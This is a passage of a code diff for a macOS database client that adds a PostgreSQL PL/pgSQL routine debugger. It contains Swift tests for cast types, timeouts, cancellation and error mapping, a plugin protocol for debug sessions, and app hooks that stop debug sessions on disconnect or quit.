+            #expect(PostgreSQLRoutineDebugProtocol.blockingSetting(in: [allowed]) == nil, "\(allowed)")
+        }
+    }
+
+    @Test("prepareDebug refuses a routine whose settings would stop the debugger")
+    func blockingSettingRefusesPrepare() {
+        let routine = Self.routine([
+            "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "quiet", "x integer", "f", "f",
+            "{integer}", "{x}", nil, "0", "f", "{client_min_messages=warning}"
+        ])
+        #expect(throws: PostgreSQLRoutineDebugError.hidesDebuggerNotice(value: "warning")) {
+            try routine.debuggerSchema()
+        }
+    }
+
+    @Test("Each argument is cast to its exact pg_type name, so the selected overload runs and nothing is cut")
+    func argumentsCastToTheirExactType() throws {
+        let routine = Self.routine([
+            "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "pick",
+            "v bit, w character, x character[], y bit varying[], z app.\"Code3\"", "f", "f",
+            "{bit,character,character[],\"bit varying[]\",\"app.\\\"Code3\\\"\"}", "{v,w,x,y,z}", nil, "0", "f", nil,
+            #"{"\"pg_catalog\".\"bit\"","\"pg_catalog\".\"bpchar\"","\"pg_catalog\".\"_bpchar\"","\"pg_catalog\".\"_varbit\"","\"app\".\"Code3\""}"#
+        ])
+        #expect(routine.argumentCastTypes == [
+            #""pg_catalog"."bit""#, #""pg_catalog"."bpchar""#, #""pg_catalog"."_bpchar""#, #""pg_catalog"."_varbit""#,
+            #""app"."Code3""#
+        ])
+        let call = try PostgreSQLRoutineDebugProtocol.call(
+            for: routine,
+            arguments: ["v", "w", "x", "y", "z"].map { Self.argument($0, .text("1")) }
+        )
+        let expected = #"SELECT * FROM "public"."pick"($1::"pg_catalog"."bit", $2::"pg_catalog"."bpchar", "#
+            + #"$3::"pg_catalog"."_bpchar", $4::"pg_catalog"."_varbit", $5::"app"."Code3")"#
+        #expect(call.sql == expected)
+    }
+
+    @Test("A procedure's OUT placeholder uses the exact type too")
+    func outPlaceholderUsesTheExactType() throws {
+        let routine = Self.routine([
+            "postgres", "public", "t", "t", "t", "p", "v", "plpgsql", "public", "p",
+            "IN a integer, OUT b character", "t", "f", "{integer,character}", "{a,b}", "{i,o}", "0", "f", nil,
+            #"{"\"pg_catalog\".\"int4\"","\"pg_catalog\".\"bpchar\""}"#
+        ])
+        let call = try PostgreSQLRoutineDebugProtocol.call(for: routine, arguments: [Self.argument("a", .text("1"))])
+        #expect(call.sql == #"CALL "public"."p"($1::"pg_catalog"."int4", NULL::"pg_catalog"."bpchar")"#)
+    }
+
+    @Test("A polymorphic routine is not offered for debugging")
+    func polymorphicRoutineIsNotATarget() {
+        let routine = PluginRoutineInfo(
+            name: "poly_elem",
+            kind: .function,
+            returnType: "anyelement",
+            language: "plpgsql",
+            argumentSignature: "(a anyelement)",
+            identity: "16440"
+        )
+        #expect(PostgreSQLRoutineDebugProtocol.target(for: routine) == nil)
+    }
+
+    @Test("The extension's schema qualifies every pldbgapi call")
+    func extensionSchemaQualifiesCalls() throws {
+        let schema = try Self.orderTotal.debuggerSchema()
+        #expect(schema == "public")
+        #expect(
+            PostgreSQLRoutineDebugProtocol.stepStatement(.continueExecution, extensionSchema: "dbg\"x", session: 1)
+                == "SELECT func, linenumber, targetname FROM \"dbg\"\"x\".pldbg_continue(1)"
+        )
+    }
+
+    @Test("Step Out has no pldbgapi call")
+    func noStepOut() {
+        #expect(PostgreSQLRoutineDebugProtocol.stepStatement(.stepOut, extensionSchema: "public", session: 1) == nil)
+        #expect(!PostgreSQLRoutineDebugProtocol.supportedCommands.contains(.stepOut))
+    }
+
+    // MARK: - Targets
+
+    @Test("A PL/pgSQL function or procedure is a debug target named with its arguments")
+    func plpgsqlRoutineIsTarget() {
+        let routine = PluginRoutineInfo(
+            name: "order_total",
+            kind: .function,
+            schema: "public",
+            returnType: "numeric",
+            language: "plpgsql",
+            argumentSignature: "(qty integer, unit_price numeric)",
+            identity: "16433"
+        )
+        let target = PostgreSQLRoutineDebugProtocol.target(for: routine)
+        #expect(target?.identity == "16433")
+        #expect(target?.name == "order_total(qty integer, unit_price numeric)")
+        #expect(target?.schema == "public")
+    }
+
+    @Test("A routine in another language, a trigger function or one without an oid is not a target")
+    func otherRoutinesAreNotTargets() {
+        let sql = PluginRoutineInfo(name: "f", kind: .function, language: "sql", identity: "1")
+        let trigger = PluginRoutineInfo(
+            name: "trg_fn", kind: .function, returnType: "trigger", language: "plpgsql", identity: "2"
+        )
+        let noOid = PluginRoutineInfo(name: "f", kind: .function, language: "plpgsql", identity: nil)
+        #expect(PostgreSQLRoutineDebugProtocol.target(for: sql) == nil)
+        #expect(PostgreSQLRoutineDebugProtocol.target(for: trigger) == nil)
+        #expect(PostgreSQLRoutineDebugProtocol.target(for: noOid) == nil)
+    }
+
+    // MARK: - Sessions
+
+    @Test("Both sessions turn their timeouts off, and the target lets the port notice through")
+    func sessionSettings() {
+        #expect(
+            PostgreSQLRoutineDebugProtocol.sessionSettings(serverVersion: 170_011, isTarget: true)
+                == [
+                    "SET statement_timeout = 0",
+                    "SET idle_session_timeout = 0",
+                    "SET transaction_timeout = 0",
+                    "SET client_min_messages = notice"
+                ]
+        )
+        #expect(
+            PostgreSQLRoutineDebugProtocol.sessionSettings(serverVersion: 130_000, isTarget: false)
+                == ["SET statement_timeout = 0"]
+        )
+    }
+
+    @Test("transaction_timeout, new in PostgreSQL 17, is turned off only on servers that have it")
+    func transactionTimeoutVersionGate() {
+        let seventeen = PostgreSQLRoutineDebugProtocol.sessionSettings(serverVersion: 170_000, isTarget: false)
+        let sixteen = PostgreSQLRoutineDebugProtocol.sessionSettings(serverVersion: 160_004, isTarget: false)
+        #expect(seventeen == ["SET statement_timeout = 0", "SET idle_session_timeout = 0", "SET transaction_timeout = 0"])
+        #expect(sixteen == ["SET statement_timeout = 0", "SET idle_session_timeout = 0"])
+    }
+
+    // MARK: - Cancelling a start
+
+    @Test("A start cancelled before the routine is entered cancels the target's call")
+    func cancelBeforeEntryCancelsTheCall() {
+        #expect(PostgreSQLRoutineDebugProtocol.startCancellation(portDelivered: false, callEnded: false) == .cancelCall)
+    }
+
+    @Test("A start cancelled after PLDBGBREAK attaches and aborts, since the target ignores a cancel in accept()")
+    func cancelAfterNoticeAttachesAndAborts() {
+        #expect(PostgreSQLRoutineDebugProtocol.startCancellation(portDelivered: true, callEnded: false) == .attachAndAbort)
+    }
+
+    @Test("A start whose call already ended has nothing left to end")
+    func cancelAfterTheCallEndedDoesNothing() {
+        #expect(PostgreSQLRoutineDebugProtocol.startCancellation(portDelivered: false, callEnded: true) == .nothing)
+    }
+
+    @Test("Once the wait ends, a cancelled start aborts a target that announced its port and attaches otherwise")
+    func startStepAfterTheWait() {
+        #expect(PostgreSQLRoutineDebugProtocol.startStep(port: 7, isCancelled: true) == .attachAndAbort(port: 7))
+        #expect(PostgreSQLRoutineDebugProtocol.startStep(port: 7, isCancelled: false) == .attach(port: 7))
+        #expect(PostgreSQLRoutineDebugProtocol.startStep(port: nil, isCancelled: true) == .cancelled)
+        #expect(PostgreSQLRoutineDebugProtocol.startStep(port: nil, isCancelled: false) == .endedBeforeEntry)
+    }
+
+    // MARK: - Errors
+
+    @Test("A missing pldbg function maps to the extension being missing")
+    func undefinedFunctionMapsToExtensionMissing() {
+        let error = LibPQPluginError(
+            message: "ERROR:  function public.pldbg_oid_debug(oid) does not exist",
+            sqlState: "42883",
+            detail: nil
+        )
+        let mapped = PostgreSQLRoutineDebugProtocol.startFailure(error, database: "noext", routineName: "f()")
+        #expect(mapped as? PostgreSQLRoutineDebugError == .extensionMissing(database: "noext"))
+    }
+
+    @Test("pldebugger's owner check maps to the owner message")
+    func ownerCheckMapsToNotOwner() {
+        let error = LibPQPluginError(
+            message: "ERROR:  must be owner or superuser to create a breakpoint",
+            sqlState: "42501",
+            detail: nil
+        )
+        let mapped = PostgreSQLRoutineDebugProtocol.startFailure(error, database: "postgres", routineName: "f()")
+        #expect(mapped as? PostgreSQLRoutineDebugError == .notOwner(routine: "f()"))
+    }
+
+    @Test("Running out of shared memory names the preload fix")
+    func sharedMemoryMapsToPreload() {
+        let ownCheck = LibPQPluginError(message: "ERROR:  out of shared memory", sqlState: "XX000", detail: nil)
+        let core = LibPQPluginError(
+            message: "ERROR:  not enough shared memory for data structure \"Debugger Connection slots\" (64 bytes requested)",
+            sqlState: "53200",
+            detail: nil
+        )
+        for error in [ownCheck, core] {
+            let mapped = PostgreSQLRoutineDebugProtocol.startFailure(error, database: "postgres", routineName: "f()")
+            #expect(mapped as? PostgreSQLRoutineDebugError == .sharedMemoryUnavailable)
+        }
+    }
+
+    @Test("Any other start error passes through unchanged")
+    func otherStartErrorsPassThrough() {
+        let error = LibPQPluginError(
+            message: "ERROR:  invalid input syntax for type integer: \"abc\"",
+            sqlState: "22P02",
+            detail: nil
+        )
+        let mapped = PostgreSQLRoutineDebugProtocol.startFailure(error, database: "postgres", routineName: "f()")
+        #expect((mapped as? LibPQPluginError)?.sqlState == "22P02")
+    }
+
+    @Test("The proxy's 08006 means the target finished, not that the proxy failed")
+    func proxyTerminationIsFinished() {
+        let terminated = LibPQPluginError(
+            message: "ERROR:  debugger connection terminated",
+            sqlState: "08006",
+            detail: nil
+        )
+        let lost = LibPQConnectionLostError(
+            loss: .afterSending,
+            underlying: LibPQPluginError(message: "server closed the connection unexpectedly", sqlState: nil, detail: nil)
+        )
+        #expect(PostgreSQLRoutineDebugProtocol.proxyFailure(terminated) == .targetEnded)
+        #expect(PostgreSQLRoutineDebugProtocol.proxyFailure(lost) == .broken)
+        #expect(PostgreSQLRoutineDebugProtocol.proxyFailure(CancellationError()) == .broken)
+    }
+
+    @Test("A signal that interrupts the waiting proxy is told apart from the target leaving")
+    func interruptedProxyIsNotTheEnd() {
+        let interrupted = LibPQPluginError(
+            message: "ERROR:  select() failed waiting for target",
+            sqlState: "08006",
+            detail: nil
+        )
+        #expect(PostgreSQLRoutineDebugProtocol.proxyFailure(interrupted) == .interrupted)
+    }
+
+    @Test("A target ended after an interruption says so, with the server's CONTEXT as the detail")
+    func interruptedEndSaysSo() {
+        let error = LibPQPluginError(
+            message: """
+                ERROR:  canceling statement due to user request
+                CONTEXT:  PL/pgSQL function two_stops() line 6 at assignment
+                """,
+            sqlState: "57014",
+            detail: nil
+        )
+        guard case .failed(let message, let detail) = PostgreSQLRoutineDebugProtocol.end(
+            of: .failure(error),
+            stopRequested: false,
+            interrupted: true
+        ) else {
+            Issue.record("expected a failed stop")
+            return
+        }
+        #expect(message == PostgreSQLRoutineDebugProtocol.interruptedMessage)
+        #expect(detail == "CONTEXT:  PL/pgSQL function two_stops() line 6 at assignment")
+    }
+
+    @Test("A target that could not be ended is named, with the SQL that ends it")
+    func abandonedTargetIsNamed() {
+        let both = PostgreSQLRoutineDebugProtocol.abandonedDetail(process: 4_242, port: 11)
+        #expect(both.contains("4242"))
+        #expect(both.contains("pldbg_attach_to_port(11)"))
+        #expect(both.contains("pldbg_abort_target"))
+        #expect(PostgreSQLRoutineDebugProtocol.abandonedDetail(process: 4_242, port: nil).contains("4242"))
+        #expect(!PostgreSQLRoutineDebugProtocol.abandonedDetail(process: nil, port: 11).isEmpty)
+        guard case .failed(let message, let detail) = PostgreSQLRoutineDebugProtocol.abandonedStop(process: 4_242, port: 11) else {
+            Issue.record("expected a failed stop")
+            return
+        }
+        #expect(message == PostgreSQLRoutineDebugProtocol.abandonedMessage)
+        #expect(detail == both)
+    }
+
+    @Test("Stop reports the target ended only when its call returned")
+    func stopOutcomeEnded() {
+        guard case .ended = PostgreSQLRoutineDebugProtocol.stopOutcome(
+            callEnded: true,
+            abandoned: false,
+            process: 4_242,
+            port: 11
+        ) else {
+            Issue.record("expected ended")
+            return
+        }
+    }
+
+    @Test("A stop that could not confirm the end names the server process and the SQL that ends it")
+    func stopOutcomeUnconfirmed() {
+        for (callEnded, abandoned) in [(true, true), (false, false), (false, true)] {
+            guard case .unconfirmed(let message, let detail) = PostgreSQLRoutineDebugProtocol.stopOutcome(
+                callEnded: callEnded,
+                abandoned: abandoned,
+                process: 4_242,
+                port: 11
+            ) else {
+                Issue.record("expected unconfirmed for \(callEnded), \(abandoned)")
+                continue
+            }
+            #expect(message == PostgreSQLRoutineDebugProtocol.abandonedMessage)
+            #expect(detail == PostgreSQLRoutineDebugProtocol.abandonedDetail(process: 4_242, port: 11))
+        }
+    }
+
+    @Test("Many replies that win against a signal that never settles leave no waiter behind")
+    func winningRepliesLeaveNoWaiter() async {
+        let signal = PostgreSQLDebugRendezvous()
+        for value in 0..<200 {
+            let answer = await signal.reply(to: Task { value })
+            if case .success(let got)? = answer {
+                #expect(got == value)
+            } else {
+                Issue.record("expected the reply for \(value)")
+            }
+        }
+        #expect(signal.waiterCount == 0)
+    }
+
+    @Test("A signal that settles first answers nil and keeps no waiter")
+    func settledSignalWins() async {
+        let signal = PostgreSQLDebugRendezvous()
+        let step = Task { () throws -> Int in
+            try await Task.sleep(for: .seconds(60))
+            return 1
+        }
+        signal.settle()
+        let answer = await signal.reply(to: step)
+        #expect(answer == nil)
+        #expect(signal.waiterCount == 0)
+        step.cancel()
+    }
+
+    @Test("A cancelled wait for the signal returns and withdraws its waiter")
+    func cancelledWaitIsWithdrawn() async {
+        let signal = PostgreSQLDebugRendezvous()
+        let waiting = Task { await signal.settled() }
+        waiting.cancel()
+        await waiting.value
+        #expect(signal.waiterCount == 0)
+        #expect(!signal.hasSettled)
+    }
+
+    @Test("Giving up on a target releases its waiters and marks it abandoned, unless its call already ended")
+    func rendezvousAbandon() async {
+        let waiting = PostgreSQLDebugRendezvous()
+        async let port = waiting.port()
+        waiting.abandon()
+        #expect(await port == nil)
+        #expect(waiting.isAbandoned)
+        #expect(waiting.hasSettled)
+
+        let ended = PostgreSQLDebugRendezvous()
+        ended.settle()
+        ended.abandon()
+        #expect(!ended.isAbandoned)
+    }
+
+    @Test("The target's 57014 after Stop reads as stopped, keeping where it stopped")
+    func cancelAfterStopIsStopped() {
+        let error = LibPQPluginError(
+            message: """
+                ERROR:  canceling statement due to user request
+                CONTEXT:  PL/pgSQL function order_total(integer,numeric) line 13 at assignment
+                """,
+            sqlState: "57014",
+            detail: nil
+        )
+        guard case .failed(let message, let detail) = PostgreSQLRoutineDebugProtocol.end(
+            of: .failure(error),
+            stopRequested: true
+        ) else {
+            Issue.record("expected a failed stop")
+            return
+        }
+        #expect(message == PostgreSQLRoutineDebugProtocol.stoppedMessage)
+        #expect(detail == "CONTEXT:  PL/pgSQL function order_total(integer,numeric) line 13 at assignment")
+    }
+
+    @Test("The plugin's own cancel of the target reads as stopped")
+    func cancellationIsStopped() {
+        guard case .failed(let message, _) = PostgreSQLRoutineDebugProtocol.end(
+            of: .failure(CancellationError()),
+            stopRequested: true
+        ) else {
+            Issue.record("expected a failed stop")
+            return
+        }
+        #expect(message == PostgreSQLRoutineDebugProtocol.stoppedMessage)
+    }
+
+    @Test("A routine error carries the server's message, with its CONTEXT lines as the detail")
+    func routineErrorKeepsContext() {
+        let error = LibPQPluginError(
+            message: """
+                ERROR:  canceling statement due to user request
+                CONTEXT:  SQL statement "SELECT pg_sleep(4)"
+                PL/pgSQL function slow_fn() line 4 at PERFORM
+                """,
+            sqlState: "57014",
+            detail: nil
+        )
+        guard case .failed(let message, let detail) = PostgreSQLRoutineDebugProtocol.end(
+            of: .failure(error),
+            stopRequested: false
+        ) else {
+            Issue.record("expected a failed stop")
+            return
+        }
+        #expect(message == "canceling statement due to user request")
+        #expect(detail == "CONTEXT:  SQL statement \"SELECT pg_sleep(4)\"\nPL/pgSQL function slow_fn() line 4 at PERFORM")
+    }
+
+    @Test("A finished routine carries its result, or none when it returned no columns")
+    func finishedCarriesResult() {
+        if case .finished(let result) = PostgreSQLRoutineDebugProtocol.end(
+            of: .success(Self.result(columns: ["order_total"])),
+            stopRequested: false
+        ) {
+            #expect(result?.columns == ["order_total"])
+        } else {
+            Issue.record("expected a finished stop")
+        }
+        if case .finished(let result) = PostgreSQLRoutineDebugProtocol.end(
+            of: .success(Self.result(columns: [])),
+            stopRequested: false
+        ) {
+            #expect(result == nil)
+        } else {
+            Issue.record("expected a finished stop")
+        }
+    }
+}
diff --git a/apple/Plugins/TableProPluginKit/PluginRoutineDebugging.swift b/apple/Plugins/TableProPluginKit/PluginRoutineDebugging.swift
new file mode 100644
index 0000000000..351823c810
--- /dev/null
+++ b/apple/Plugins/TableProPluginKit/PluginRoutineDebugging.swift
@@ -0,0 +1,248 @@
+import Foundation
+
+public protocol PluginRoutineDebugging: AnyObject, Sendable {
+    // False on a driver that inherits the conformance but cannot debug (PGlite), so a menu can ask without I/O.
+    var canDebugRoutines: Bool { get }
+    // Synchronous so a context menu can ask without I/O; nil means this routine cannot be debugged.
+    func debugTarget(for routine: PluginRoutineInfo) -> PluginDebugTarget?
+    func debugTargets(schema: String?) async throws -> [PluginDebugTarget]
+    func prepareDebug(_ target: PluginDebugTarget) async throws -> PluginDebugPlan
+    // Every driver the plugin takes from `sessions` is closed by the host once the session ends.
+    // Cancelling the task that awaits this ends the target as `stop()` would, then throws CancellationError, or an
+    // error saying the target may still be running when its end could not be confirmed.
+    func startDebug(
+        _ request: PluginDebugRequest,
+        sessions: any PluginDebugSessionSource
+    ) async throws -> any PluginDebugSession
+}
+
+public protocol PluginDebugSessionSource: Sendable {
+    func openSession() async throws -> any PluginDatabaseDriver
+}
+
+// The host never overlaps two calls, except `stop()`, which may arrive while any other call is still running: that
+// call then ends promptly (a waiting step returns `.finished` or `.failed`, never a pause; a read throws).
+public protocol PluginDebugSession: AnyObject, Sendable {
+    var supportedCommands: Set<PluginDebugCommand> { get }
+    var output: AsyncStream<String> { get }
+    func firstStop() async throws -> PluginDebugStop
+    func perform(_ command: PluginDebugCommand) async throws -> PluginDebugStop
+    func source(of unit: PluginDebugUnit) async throws -> String
+    func stack() async throws -> [PluginDebugFrame]
+    func variables(inFrame level: Int) async throws -> [PluginDebugVariable]
+    // The breakpoint as the engine placed it (its line may move to the next executable one); nil when it cannot be set.
+    func setBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws -> PluginDebugBreakpoint?
+    func removeBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws
+    // Ends the target and rolls back its open transaction, whatever state it is in, and says whether it could confirm
+    // that. Returns within 3 seconds: the host closes the session's transport 5 seconds after asking.
+    func stop() async -> PluginDebugStopOutcome
+}
+
+public struct PluginDebugTarget: Sendable, Hashable {
+    public let identity: String
+    public let name: String
+    public let schema: String?
+    public let kindDisplayName: String
+
+    public init(identity: String, name: String, schema: String?, kindDisplayName: String) {
+        self.identity = identity
+        self.name = name
+        self.schema = schema
+        self.kindDisplayName = kindDisplayName
+    }
+}
+
+public struct PluginDebugPlan: Sendable {
+    public let target: PluginDebugTarget
+    public let entryPoints: [PluginDebugEntryPoint]
+    public let mayWrite: Bool
+    public let preparation: PluginDebugPreparation?
+    // Asked for in the start sheet, never in the connection form, so an off module leaves no field behind.
+    public let options: [ConnectionField]
+    // What happens to the routine's changes when it runs to the end, shown in the start sheet.
+    public let note: String?
+
+    public init(
+        target: PluginDebugTarget,
+        entryPoints: [PluginDebugEntryPoint],
+        mayWrite: Bool,
+        preparation: PluginDebugPreparation? = nil,
+        options: [ConnectionField] = [],
+        note: String? = nil
+    ) {
+        self.target = target
+        self.entryPoints = entryPoints
+        self.mayWrite = mayWrite
+        self.preparation = preparation
+        self.options = options
+        self.note = note
+    }
+}
+
+public struct PluginDebugEntryPoint: Sendable, Hashable {
+    public let identity: String
+    public let displayName: String
+    public let parameters: [PluginDebugParameter]
+
+    public init(identity: String, displayName: String, parameters: [PluginDebugParameter]) {
+        self.identity = identity
+        self.displayName = displayName
+        self.parameters = parameters
+    }
+}
+
+public struct PluginDebugParameter: Sendable, Hashable {
+    public let name: String
+    public let typeName: String
+    public let mode: PluginDebugParameterMode
+    public let hasDefault: Bool
+
+    public init(name: String, typeName: String, mode: PluginDebugParameterMode, hasDefault: Bool) {
+        self.name = name
+        self.typeName = typeName
+        self.mode = mode
+        self.hasDefault = hasDefault
+    }
+}
+
+public enum PluginDebugParameterMode: String, Sendable, Hashable {
+    case input
+    case output
+    case inputOutput
+    case variadic
+}
+
+// Statements the host runs, after the user confirms, before the session can start (Oracle's compile for debug).
+public struct PluginDebugPreparation: Sendable {
+    public let message: String
+    public let informativeText: String?
+    public let actionTitle: String
+    public let statements: [String]
+
+    public init(message: String, informativeText: String?, actionTitle: String, statements: [String]) {
+        self.message = message
+        self.informativeText = informativeText
+        self.actionTitle = actionTitle
+        self.statements = statements
+    }
+}
+
+public struct PluginDebugRequest: Sendable {
+    public let entryPoint: PluginDebugEntryPoint
+    public let arguments: [PluginDebugArgument]
+    public let breakpoints: [PluginDebugBreakpoint]
+    public let optionValues: [String: String]
+
+    public init(
+        entryPoint: PluginDebugEntryPoint,
+        arguments: [PluginDebugArgument],
+        breakpoints: [PluginDebugBreakpoint],
+        optionValues: [String: String] = [:]
+    ) {
+        self.entryPoint = entryPoint
+        self.arguments = arguments
+        self.breakpoints = breakpoints
+        self.optionValues = optionValues
+    }
+}
+
+public struct PluginDebugArgument: Sendable, Hashable {
+    public let parameterName: String
+    public let value: PluginDebugArgumentValue
+
+    public init(parameterName: String, value: PluginDebugArgumentValue) {
+        self.parameterName = parameterName
+        self.value = value
+    }
+}
+
+public enum PluginDebugArgumentValue: Sendable, Hashable {
+    case text(String)
+    case null
+    case defaultValue
+}
+
+public enum PluginDebugCommand: String, Sendable, Hashable {
+    case continueExecution
+    case stepOver
+    case stepInto
+    case stepOut
+}
+
+public enum PluginDebugStopOutcome: Sendable {
+    case ended
+    // The target may still be running on the server; the message names it and how to end it.
+    case unconfirmed(message: String, detail: String?)
+}
+
+public enum PluginDebugStop: Sendable {
+    case paused(PluginDebugLocation)
+    case finished(PluginQueryResult?)
+    case failed(message: String, detail: String?)
+}
+
+public struct PluginDebugUnit: Sendable, Hashable {
+    public let identity: String
+    public let displayName: String
+
+    public init(identity: String, displayName: String) {
+        self.identity = identity
+        self.displayName = displayName
+    }
+}
+
+// `line` is 1-based in the text `source(of:)` returns for `unit`.
+public struct PluginDebugLocation: Sendable, Hashable {
+    public let unit: PluginDebugUnit
+    public let line: Int
+
+    public init(unit: PluginDebugUnit, line: Int) {
+        self.unit = unit
+        self.line = line
+    }
+}
+
+public struct PluginDebugBreakpoint: Sendable, Hashable {
+    public let unitIdentity: String
+    public let line: Int
+
+    public init(unitIdentity: String, line: Int) {
+        self.unitIdentity = unitIdentity
+        self.line = line
+    }
+}
+
+public struct PluginDebugFrame: Sendable, Hashable {
+    public let level: Int
+    public let location: PluginDebugLocation?
+    public let arguments: String?
+
+    public init(level: Int, location: PluginDebugLocation?, arguments: String?) {
+        self.level = level
+        self.location = location
+        self.arguments = arguments
+    }
+}
+
+public struct PluginDebugVariable: Sendable, Hashable {
+    public let name: String
+    public let kind: PluginDebugVariableKind
+    public let typeName: String?
+    // Nil is SQL NULL.
+    public let value: String?
+    public let isConstant: Bool
+
+    public init(name: String, kind: PluginDebugVariableKind, typeName: String?, value: String?, isConstant: Bool) {
+        self.name = name
+        self.kind = kind
+        self.typeName = typeName
+        self.value = value
+        self.isConstant = isConstant
+    }
+}
+
+public enum PluginDebugVariableKind: String, Sendable, Hashable {
+    case argument
+    case local
+    case package
+}
diff --git a/apple/TablePro/AppDelegate.swift b/apple/TablePro/AppDelegate.swift
index 1778ce05e7..60145aca2b 100644
--- a/apple/TablePro/AppDelegate.swift
+++ b/apple/TablePro/AppDelegate.swift
@@ -165,6 +165,8 @@ class AppDelegate: NSObject, NSApplicationDelegate {
         guard QuitApproval.approve() else { return .terminateCancel }
 
         Task {
+            // First, while the drivers are open: a debug stop rolls back the routine's transaction.
+            await AppModuleTermination.stopModuleWork()
             await MCPServerManager.shared.stop()
             await DatabaseManager.shared.runPostDisconnectScriptsBeforeQuit()
             NSApp.reply(toApplicationShouldTerminate: true)
diff --git a/apple/TablePro/Core/Coordinators/QueryExecutionCoordinator.swift b/apple/TablePro/Core/Coordinators/QueryExecutionCoordinator.swift
index 57ee9e0d5b..3677faa438 100644
--- a/apple/TablePro/Core/Coordinators/QueryExecutionCoordinator.swift
+++ b/apple/TablePro/Core/Coordinators/QueryExecutionCoordinator.swift
@@ -174,7 +174,7 @@ final class QueryExecutionCoordinator: ObservableObject {
         guard case .needsBatchDriver = route else { return false }
         parent.tabManager.mutate(at: index) {
             $0.execution.errorMessage = String(
-                localized: "Update the database driver in Settings > Plugins to run a batch more than once with GO."
+                localized: "Update the database driver in Settings > Extensions to run a batch more than once with GO."
             )
         }
         return true
diff --git a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge+Scripts.swift b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge+Scripts.swift
index 1e5af1b028..383ee0663f 100644
--- a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge+Scripts.swift
+++ b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge+Scripts.swift
@@ -77,11 +77,11 @@ extension DatabaseAccessBridge {
             )
         case .statements:
             throw DatabaseAccessError.invalidArgument(
-                String(localized: "Update the database driver in Settings > Plugins to run several statements in one call.")
+                String(localized: "Update the database driver in Settings > Extensions to run several statements in one call.")
             )
         case .needsBatchDriver:
             throw DatabaseAccessError.invalidArgument(
-                String(localized: "Update the database driver in Settings > Plugins to run a batch more than once with GO.")
+                String(localized: "Update the database driver in Settings > Extensions to run a batch more than once with GO.")
             )
         case nil:
             throw DatabaseAccessError.invalidArgument(String(localized: "The query is empty."))
diff --git a/apple/TablePro/Core/Database/DatabaseManager+Health.swift b/apple/TablePro/Core/Database/DatabaseManager+Health.swift
index c3be0d168a..dad575f0b0 100644
--- a/apple/TablePro/Core/Database/DatabaseManager+Health.swift
+++ b/apple/TablePro/Core/Database/DatabaseManager+Health.swift
@@ -137,6 +137,10 @@ extension DatabaseManager {
         /// so a database switch cannot promote another connection in the meantime.
         MetadataConnectionPool.shared.beginTransportReplacement(connectionId: connectionId)
         defer { MetadataConnectionPool.shared.endTransportReplacement(connectionId: connectionId) }
+        // Debug drivers are dedicated connections, so the pool's replacement fence does not hold them back; the
+        // debugger keeps its own fence closed until this reconnect is over.
+        await RoutineDebugSessions.shared.stopAll(connectionId: connectionId)
+        defer { RoutineDebugSessions.shared.reopenAdmission(for: connectionId) }
         await SchemaService.shared.prepareForReload(connectionId: connectionId)
         await DatabaseTreeMetadataService.shared.handleReconnect(connectionId: connectionId)
         /// Asked again after the suspensions above: a switch that landed before the replacement
@@ -397,6 +401,8 @@ extension DatabaseManager {
         /// closing the pool there withdrew an open that another database's table load was waiting on.
         let replacesPooledTransport = session.connection.activeTunnelKind != nil || session.liveness != .live
         if replacesPooledTransport {
+            // A debug target dialed through this transport would be left holding its locks once it goes.
+            await RoutineDebugSessions.shared.stopAll(connectionId: sessionId)
             MetadataConnectionPool.shared.beginTransportReplacement(connectionId: sessionId)
             /// The other databases' connections were dialed through the same transport, so they go
             /// with it and reopen on their next use.
@@ -407,6 +413,11 @@ extension DatabaseManager {
                 MetadataConnectionPool.shared.endTransportReplacement(connectionId: sessionId)
             }
         }
+        defer {
+            if replacesPooledTransport {
+                RoutineDebugSessions.shared.reopenAdmission(for: sessionId)
+            }
+        }
 
         await stopHealthMonitor(for: sessionId)
 
diff --git a/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift b/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift
index 86bafad920..7383aeeec9 100644
--- a/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift
+++ b/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift
@@ -743,6 +743,10 @@ extension DatabaseManager {
         disconnectsInFlight.insert(sessionId)
         defer { disconnectsInFlight.remove(sessionId) }
 
+        // Before the tunnel goes: a debug target whose client vanishes keeps its locks until someone aborts it.
+        await RoutineDebugSessions.shared.stopAll(connectionId: sessionId, tabsCloseAfter: true)
+        defer { RoutineDebugSessions.shared.reopenAdmission(for: sessionId) }
+
         tabStatePersister?.persistTabState(for: sessionId)
         if origin == .userRequested {
             userRequestedDisconnects.insert(sessionId)
diff --git a/apple/TablePro/Core/MCP/Protocol/Tools/MCPTabSnapshotProvider.swift b/apple/TablePro/Core/MCP/Protocol/Tools/MCPTabSnapshotProvider.swift
index b481a2bade..a52f02125a 100644
--- a/apple/TablePro/Core/MCP/Protocol/Tools/MCPTabSnapshotProvider.swift
+++ b/apple/TablePro/Core/MCP/Protocol/Tools/MCPTabSnapshotProvider.swift
@@ -31,11 +31,12 @@ enum MCPTabSnapshotProvider {
                 ?? coordinator.connection.name
             let selectedId = coordinator.tabManager.selectedTabId
             for tab in coordinator.tabManager.tabs {
+                guard let tabType = tab.tabType.snapshotName else { continue }
                 snapshots.append(MCPTabSnapshot(
                     tabId: tab.id,
                     connectionId: coordinator.connectionId,
                     connectionName: connectionName,
-                    tabType: tab.tabType.snapshotName,
+                    tabType: tabType,
                     tableName: tab.tableContext.tableName,
                     databaseName: tab.tableContext.databaseName,
                     schemaName: tab.tableContext.schemaName,
@@ -156,7 +157,8 @@ enum MCPTabSnapshotProvider {
 }
 
 private extension TabType {
-    var snapshotName: String {
+    // Nil for a debug tab: the debugger is a module and adds nothing a client can list.
+    var snapshotName: String? {
         switch self {
         case .query: "query"
         case .table: "table"
@@ -168,6 +170,7 @@ private extension TabType {
         case .objectSource: "objectSource"
         case .versionHistory: "versionHistory"
         case .tableListing: "tableListing"
+        case .routineDebug: nil
         }
     }
 }
diff --git a/apple/TablePro/Core/Menu/DebugMenuBuilder.swift b/apple/TablePro/Core/Menu/DebugMenuBuilder.swift
new file mode 100644
index 0000000000..d716612ced
--- /dev/null
+++ b/apple/TablePro/Core/Menu/DebugMenuBuilder.swift
